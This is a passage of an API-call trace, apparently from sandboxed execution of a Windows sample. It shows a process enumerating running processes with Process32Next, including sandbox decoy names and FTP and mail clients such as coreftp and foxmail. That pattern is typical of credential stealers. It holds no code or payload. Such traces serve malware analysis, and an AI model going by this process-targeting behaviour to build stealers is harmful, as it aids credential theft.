Flags=0x0, Size=0x18) returned 0x3340e60 [0145.852] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366888 [0145.852] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0145.852] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e60 | out: hHeap=0x2360000) returned 1 [0145.852] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0145.854] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366818 [0145.854] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340bc0 [0145.854] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669a8 [0145.854] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340510 [0145.854] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340bc0 | out: hHeap=0x2360000) returned 1 [0145.854] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403d0 [0145.854] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0145.855] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23668c8 [0145.855] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340de0 [0145.855] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366968 [0145.857] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340650 [0145.857] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340de0 | out: hHeap=0x2360000) returned 1 [0145.857] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.858] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366878 [0145.858] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340da0 [0145.858] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366998 [0145.858] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406f0 [0145.859] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340da0 | out: hHeap=0x2360000) returned 1 [0145.859] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0145.860] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366978 [0145.860] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c20 [0145.860] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366968 [0145.860] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0145.860] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c20 | out: hHeap=0x2360000) returned 1 [0145.860] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0145.861] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366928 [0145.862] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c20 [0145.862] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366908 [0145.862] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0145.862] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c20 | out: hHeap=0x2360000) returned 1 [0145.862] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x445) returned 0x2366ec0 [0145.862] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366bd8 | out: hHeap=0x2360000) returned 1 [0145.862] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0145.864] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366928 [0145.864] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c00 [0145.864] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366828 [0145.864] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340498 [0145.864] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c00 | out: hHeap=0x2360000) returned 1 [0145.864] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0145.865] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366908 [0145.865] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340cc0 [0145.865] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366938 [0145.865] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0145.865] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340cc0 | out: hHeap=0x2360000) returned 1 [0145.865] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0145.867] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366808 [0145.867] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340ee0 [0145.867] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669b8 [0145.867] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404c0 [0145.867] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ee0 | out: hHeap=0x2360000) returned 1 [0145.867] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405b0 [0145.867] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.868] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669b8 [0145.868] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340f00 [0145.868] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366808 [0145.868] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340538 [0145.868] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f00 | out: hHeap=0x2360000) returned 1 [0145.868] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0145.873] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366888 [0145.873] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340ca0 [0145.873] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23668c8 [0145.873] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405d8 [0145.873] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ca0 | out: hHeap=0x2360000) returned 1 [0145.873] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340600 [0145.873] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0145.875] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669a8 [0145.875] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340e20 [0145.875] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366978 [0145.875] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340678 [0145.875] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e20 | out: hHeap=0x2360000) returned 1 [0145.875] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="these.exe")) returned 1 [0145.876] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366978 [0145.876] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340f00 [0145.876] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366808 [0145.876] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340678 [0145.877] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f00 | out: hHeap=0x2360000) returned 1 [0145.877] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366978 | out: hHeap=0x2360000) returned 1 [0145.877] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="note.exe")) returned 1 [0145.878] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c80 | out: hHeap=0x2360000) returned 1 [0145.878] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366868 | out: hHeap=0x2360000) returned 1 [0145.878] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="government_memory_natural.exe")) returned 1 [0145.879] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e00 | out: hHeap=0x2360000) returned 1 [0145.880] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366868 | out: hHeap=0x2360000) returned 1 [0145.880] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="legal.exe")) returned 1 [0145.881] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d40 | out: hHeap=0x2360000) returned 1 [0145.881] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366838 | out: hHeap=0x2360000) returned 1 [0145.881] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="imagine.exe")) returned 1 [0145.882] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c40 | out: hHeap=0x2360000) returned 1 [0145.883] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668a8 | out: hHeap=0x2360000) returned 1 [0145.883] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="factor affect space.exe")) returned 1 [0145.884] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c20 | out: hHeap=0x2360000) returned 1 [0145.884] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366988 | out: hHeap=0x2360000) returned 1 [0145.884] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="pictureto.exe")) returned 1 [0145.909] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340538 | out: hHeap=0x2360000) returned 1 [0145.910] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668d8 | out: hHeap=0x2360000) returned 1 [0145.910] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e40 | out: hHeap=0x2360000) returned 1 [0145.910] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668a8 | out: hHeap=0x2360000) returned 1 [0145.910] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="amount_everybody_go.exe")) returned 1 [0145.913] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340380 | out: hHeap=0x2360000) returned 1 [0145.913] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668f8 | out: hHeap=0x2360000) returned 1 [0145.913] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340be0 | out: hHeap=0x2360000) returned 1 [0145.913] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366968 | out: hHeap=0x2360000) returned 1 [0145.914] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0145.914] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="easy patient arm.exe")) returned 1 [0145.917] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340588 | out: hHeap=0x2360000) returned 1 [0145.917] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669a8 | out: hHeap=0x2360000) returned 1 [0145.917] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c20 | out: hHeap=0x2360000) returned 1 [0145.917] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366918 | out: hHeap=0x2360000) returned 1 [0145.918] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340470 | out: hHeap=0x2360000) returned 1 [0145.918] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="part measure.exe")) returned 1 [0145.920] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404e8 | out: hHeap=0x2360000) returned 1 [0145.920] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366808 | out: hHeap=0x2360000) returned 1 [0145.920] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c40 | out: hHeap=0x2360000) returned 1 [0145.920] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366838 | out: hHeap=0x2360000) returned 1 [0145.921] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0145.921] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="well-south.exe")) returned 1 [0145.928] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340628 | out: hHeap=0x2360000) returned 1 [0145.928] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669a8 | out: hHeap=0x2360000) returned 1 [0145.928] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ce0 | out: hHeap=0x2360000) returned 1 [0145.928] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669b8 | out: hHeap=0x2360000) returned 1 [0145.929] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="why-road.exe")) returned 1 [0145.931] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340470 | out: hHeap=0x2360000) returned 1 [0145.931] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366998 | out: hHeap=0x2360000) returned 1 [0145.931] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e80 | out: hHeap=0x2360000) returned 1 [0145.931] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366938 | out: hHeap=0x2360000) returned 1 [0145.932] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="participant current.exe")) returned 1 [0145.934] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403d0 | out: hHeap=0x2360000) returned 1 [0145.934] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366898 | out: hHeap=0x2360000) returned 1 [0145.934] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340da0 | out: hHeap=0x2360000) returned 1 [0145.934] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366808 | out: hHeap=0x2360000) returned 1 [0145.935] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340380 | out: hHeap=0x2360000) returned 1 [0145.935] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="plant_country.exe")) returned 1 [0145.938] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340588 | out: hHeap=0x2360000) returned 1 [0145.938] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366878 | out: hHeap=0x2360000) returned 1 [0145.938] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e20 | out: hHeap=0x2360000) returned 1 [0145.938] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366898 | out: hHeap=0x2360000) returned 1 [0145.938] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33405b0 | out: hHeap=0x2360000) returned 1 [0145.938] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup recently but.exe")) returned 1 [0145.940] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406c8 | out: hHeap=0x2360000) returned 1 [0145.940] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668c8 | out: hHeap=0x2360000) returned 1 [0145.940] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d00 | out: hHeap=0x2360000) returned 1 [0145.941] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366838 | out: hHeap=0x2360000) returned 1 [0145.941] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340600 | out: hHeap=0x2360000) returned 1 [0145.941] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="case.exe")) returned 1 [0145.943] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340588 | out: hHeap=0x2360000) returned 1 [0145.943] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366968 | out: hHeap=0x2360000) returned 1 [0145.943] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c60 | out: hHeap=0x2360000) returned 1 [0145.943] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366908 | out: hHeap=0x2360000) returned 1 [0145.944] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x102c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0145.946] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340678 | out: hHeap=0x2360000) returned 1 [0145.946] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366838 | out: hHeap=0x2360000) returned 1 [0145.946] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e80 | out: hHeap=0x2360000) returned 1 [0145.947] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668d8 | out: hHeap=0x2360000) returned 1 [0145.954] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="keyreflect.exe")) returned 1 [0145.956] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340358 | out: hHeap=0x2360000) returned 1 [0145.956] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366878 | out: hHeap=0x2360000) returned 1 [0145.956] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c80 | out: hHeap=0x2360000) returned 1 [0145.956] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366998 | out: hHeap=0x2360000) returned 1 [0145.957] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0145.959] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ea0 | out: hHeap=0x2360000) returned 1 [0145.959] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0145.962] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340b80 | out: hHeap=0x2360000) returned 1 [0145.962] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0145.965] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e00 | out: hHeap=0x2360000) returned 1 [0145.965] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0145.967] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d60 | out: hHeap=0x2360000) returned 1 [0145.967] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0145.969] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ec0 | out: hHeap=0x2360000) returned 1 [0145.969] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x106c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0145.974] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ec0 | out: hHeap=0x2360000) returned 1 [0145.974] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, 